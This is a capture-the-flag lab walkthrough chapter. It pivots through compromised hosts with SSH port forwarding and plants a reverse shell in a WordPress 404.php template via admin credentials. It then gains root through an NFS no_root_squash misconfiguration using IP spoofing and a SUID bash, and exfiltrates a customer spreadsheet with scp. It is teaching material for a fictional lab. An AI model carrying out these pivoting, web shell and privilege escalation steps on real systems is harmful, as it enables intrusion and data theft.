# Chapter III ## Quick Recap - Perequisites So far we: * Compromised the mail server and established SSH access as `root`, * Compromised the web server and established SSH access as `root` and * Found credentials for `http://wiki.allendevent.com:54321` (10.0.10.30) * `admin:Kn33sW34kM0ms5paghett1` The goal is to get access to sensitive data and we have reason to believe that they might be stored on the internal server (see email from James Hernandez to Larry Obrien). Thus, our next step will be to enumerate that server. ## Wiki Server Enumeration I'll leave it to you to conduct extensive enumeration. Feel free to use living-off-the-land techniques, pivoting, precompiled binaries or a combination of all of them. Regardless, I'll assume that you managed to identify the open port 54321 on `10.0.10.30`. Currently, there are no CVEs for any of the running services, so I'll cut right to the next step. ## Pivoting In order to leverage the found credentials, we want to connect to the internal wiki. We can achieve this by tunneling our traffic through one of the compromised dual-homed hosts. This is called pivoting. However, there are different sorts of and different tools for pivoting. Below you'll see a broad depiction of them.

One of my infographics - an overview of pivoting techniques

In this walkthrough I'll concentrate on the most basic technique: port forwarding. As we can see in the picture, traffic from our Kali VM will be routed through the compromised host and into the internal network. In our case, we want to forward port 54321 of our Kali machine to port 54321 on the internal machine. This way we can add `127.0.0.1` as `wiki.allendevent.com` in our `/etc/hosts` and browse it as if we were on the internal network. Here's how we do it with SSH. ```bash # on Kali ssh -i root_web root@allendevent.com -L 54321:10.0.10.30:54321 ``` After you run the command, port 54321 on Kali will be forwarded to `10.0.10.30`. SSH will also open the normal shell on `allendevent.com`. If you don't want that, you can add `-fN` to the command, but remember to kill the SSH proccess manually when you're done pivoting. {% hint style="info" %} If you want to learn more about port forwarding with SSH, I can recommend checking out [these inforgraphics](https://ccat.gitbook.io/cyber-sec/infographics#ssh-local-port-forwarding). {% endhint %}

Using SSH local port forwarding to access the internal wiki

In the bottom right we can see that it's still in development, which might explain the weird port. Using a browser extension like [Wappalyzer](https://www.wappalyzer.com/), inspecting the source code or simply scrolling to the bottom reveals that this is another WordPress installation. A quick google search yields the login location: `wp-login.php`. Let's navigate to `http://wiki.allendevent.com:54321/wp-login.php` and use the credentials: * User: `admin` * Password: `Kn33sW34kM0ms5paghett1` {% hint style="info" %} You may take some time and read the few posts first, but you will realise that these only contain hints for the SuiteCRM version and FTP. This goes to show how more enumeration could've benefitted us earlier. {% endhint %}

Logging in to WordPress with `admin` credentials

There we go, we made it to the admin account of WordPress. If we casually look at the options on the left side and expand some of them, you'll notice the theme editor. Specifically, the fact that we are allowed to edit `.php` files should spark interest.

Editing the `404.php` theme file in WordPress

WordPress perfectly demonstrates that there's not always the need for some elaborate exploit. Sometimes, intended functionality can be abused for our purposes. In this case, we are going to place the same reverse shell that we already used on the web server. However, we can't just use `10.0.5.10` as the callback address. Since we are not in the internal network, the internal server would have no route back to us. So instead, we will use the IP `10.0.10.20` (internal address of the web server) for the listener. But we still want a shell on our machine, so we will use what's called a remote port forward. Contrary to the local port forward we did earlier, we open a port on a remote host and forward traffic from there back to us. This might sound a bit confusing the first time, so I'll include my SSH infographic here:

Basically, we intend to achieve the following:

Concept of how to use pivoting to catch a reverse shell

Alright, enough theory. Here's what we need to do. First of all, we must enable the option `GatewayPorts` in the SSH config on the web server. This will allow us to create a forward port that listens on the internal interface. We can use `vi` to edit `/etc/ssh/sshd_config`

Subsequently, we need to restart the SSH server with `systemctl restart sshd`. Careful, you might break your SSH access if the configuration contains errors. Once we've done that, let's start both of our SSH forwards: ```bash # on Kali # local port forwarding ssh -i root_web -L 54321:10.010.30:54321 root@allendevent.com # Before running the remote port forward, we have to make sure that the # firewall on the web server will allow a connection on that port. # Therefore, we use the ssh command prompt to add a firewall rule. > firewall-cmd --add-port=1234/tcp # remote port forwarding ssh -i root_web -R 1234:127.0.0.1:1337 root@allendevent.com ```

In addition to that, make sure to start a listener for the reverse shell.

Starting a listener for the reverse shell

Afterwards, check the configuration of the reverse shell payload.

Setting the IP and port of the reverse shell

Let's copy the contents of the reverse shell into the `404.php` template.

Saving the `404` template with the contents of the reverse shell

Finally, we will trigger the reverse shell by visiting a wordpress page that does not exist, such as: `http://wiki.allendevent.com:54321/?p=999`. {% hint style="info" %} Note that `http://wiki.allendevent.com:54321/999` also does not exist. However, it wouldn't trigger the 404 template of WordPress. Instead, this error would be handled by the webserver (Apache) and you would not receive a shell. {% endhint %}

Receiving a reverse shell connection from the internal server

{% hint style="success" %} We successfully gained shell access to the internal server as the `apache` user. {% endhint %} ## Privilege Escalation Well, we've been here before. Let's look at the WordPress configuration file.

Enumerating the stored credentials in config files

Unfortunately, neither this nor the WordPress password work for the `root` account. That would've been too easy now, wouldn't it. Instead, let's continue **enumeration**. During enumeration we notice quite a lot of open ports:

Listing open ports on `wiki.allendevent.com`

54321 and 3306 belong to the web server and database respectively. Pretty much all the other ports are ephemeral ports which leaves 2049 and 111 - which belong to NFS and RPC. If you don't know what NFS is yet, I would suggest you read up on what it does, where its configuration files might be and maybe how to abuse it. The attentive reader will have noticed that we previously found a reference to an NFS setup guide: {% embed url="" %} Setup guide for NFS from the browser history we found on the web server {% endembed %} This guide describes how to setup and configure a network share. More interestingly, it demonstrates an insecure option: `no_root_squash`. Let's check how much of that guide was copied by our IT administrator. The share configuration is in `/etc/exports`.

There it is. If we did not have a clue what the option does, then a Google search for "nfs no\_root\_squash" yields the following link as the second result: {% embed url="" %} Why you shouldn't use `no_root_squash` {% endembed %} Again, no fancy exploit - just basic behaviour. However, the configuration allows NFS access only for `10.0.10.40`. Several tutorials explain how to exploit `no_root_squash` but they all require write access to the share. {% embed url="" %} Example for `no_root_squash` exploitation steps {% endembed %} Though we do not have access to `10.0.10.40`, we do have `root` access to a server on the same network. Since we're `root`, we can pretend to be `10.0.10.40` by simply changing the IP.

# on the web server
# add a new IP to the internal interface
ip addr add 10.0.10.40/24 dev enp0s8

# delete the previous IP on the internal interface
ip addr del 10.0.10.20/24 dev enpos8

{% hint style="warning" %} Bear in mind that this will destroy our reverse shell connection. To re-establish it, we will have to update the reverse shell in WordPress to reflect the new IP address: `10.0.10.40`. 1. Reload `http://wiki.allendevent.com:54321/?p=999` 2. Restart the listener 3. Update the IP in the 404 template {% endhint %} Now let's mount the exposed NFS share to a temporary directory on the web server.

Spoofing the IP in order to `mount` the exposed internal share

No sensitive customer data yet, but we're very close. Exploit tutorials usually suggest to upload `bash` to the share. However, since the `bash` of our attack VM may not be compatible with the target OS, I'll demonstrate how to use the `/bin/bash` binary from the target. First, we create a writeable directory in the mounted share. ```bash # on the web server # within the mounted NFS share mkdir extraction chmod 777 extraction ``` Subsequently, we copy the original `/bin/bash` on the internal server to the writeable share. ```bash # on the internal server (using the reverse shell) cd /var/nfs_share/extraction cp /bin/bash ./ ``` Then we modify the `bash` binary to be owned by `root` and add the `SUID` bit. ```bash # on the web server cd extraction chown root:root ./bash # change the owner to root chmod 4777 ./bash # adding the SUID bit ``` Finally, we execute `bash` with the `-p` option. The SUID bit will allow the binary to be run with effective `root` privileges and the `-p` flag will prevent the privileges to be reset.

Getting effective `root` access via exploitation of an NFS share misconfiguration

{% hint style="success" %} At last, we gained `root` access on the internal server - great success! {% endhint %} ## Final Enumeration We got `root`, but what about the sensitive data that we are supposed to exfiltrate? This should be the easiest enumeration of them all.

Convenient. Let's move it to the NFS share and then copy it from the web server to Kali via `scp`. ```bash # on the internal server cp customers.xlsx /var/nfs_share # on Kali scp -i root_web root@allendevent.com:/root/mnt/customers.xlsx ./ ``` One final look.

Opening `customers.xlsx` in Libre Office

{% hint style="info" %} All displayed data is fake and was automatically generated. {% endhint %} 870 rows of names, credit card numbers, phone numbers and more. This should classify as sensitive. Let's contact Larry Obrien - the manager - and tell him that the engagement is over. ## Outro This concludes our journey through the **AllEndEvent** network. I hope you had as much fun playing the challenge as I had developing it. Of course you don't have to stop here though. Trying to write a report based solely on your notes may prove to be a very interesting challenge and would show how good your note-taking skills really are. Alternatively, try different pivoting techniques or other exploits like the SQL injection we saw on the second server. Just because a CVE is not an RCE or has a high rating it doesn't mean we should leave it out of the report. If you made it this far, thank you very much for reading. If you got any feedback, feel free to hit me up on discord or smash one of those smiley faces at the bottom.